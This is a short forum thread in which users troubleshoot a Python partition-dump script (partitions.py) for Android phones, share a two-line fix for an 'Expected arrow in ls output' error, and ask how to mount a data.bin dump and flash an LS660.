OK dumped data.bin 11gb file, how can I mount that?
rk2612 said:
AssertionError: Expected arrow in ls output
Not sure what might be wrong.
Click to expand...
Click to collapse
I'm getting this error, too. I was able to fix it by doing two small changes to partitions.py, function "get_partitions":
1. Change the line starting with "name_cmd" into:
Code:
name_cmd = 'ls -l /dev/block/platform/msm_sdcc.1/by-name'
2. Insert the following line after "for line in output.strip()...":
Code:
if line[0]=="l":
Make sure, the indentation is correct (more the the preceding "for" line, less than the following line with "label,arrow,path").
Probably someone by whom the original implementation works can check, whether this is a more generic solution?
I need help. I am trying to install either firmware OR custom recovery onto an LS660. This is my last hope. Please understand I know nothing of python and this is a one time fix. So plese be descriptive in lamen's terms for what file needs to be where and exactly what I must type.